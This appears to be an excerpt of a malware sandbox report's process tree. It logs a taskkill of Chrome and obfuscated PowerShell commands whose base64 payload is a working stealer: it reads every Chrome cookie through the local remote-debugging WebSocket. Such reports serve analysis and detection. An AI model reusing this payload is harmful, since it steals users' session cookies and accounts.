                                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADgAOAAyAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA4ADgAMgAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                  3⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:6088
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                2⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:7040
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /F /IM chrome.exe
                                  3⤵
                                  • Kills process with taskkill
                                  PID:7080
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADkANwA0AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA5ADcANAAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                2⤵
                                  PID:7128
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADkANwA0AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAG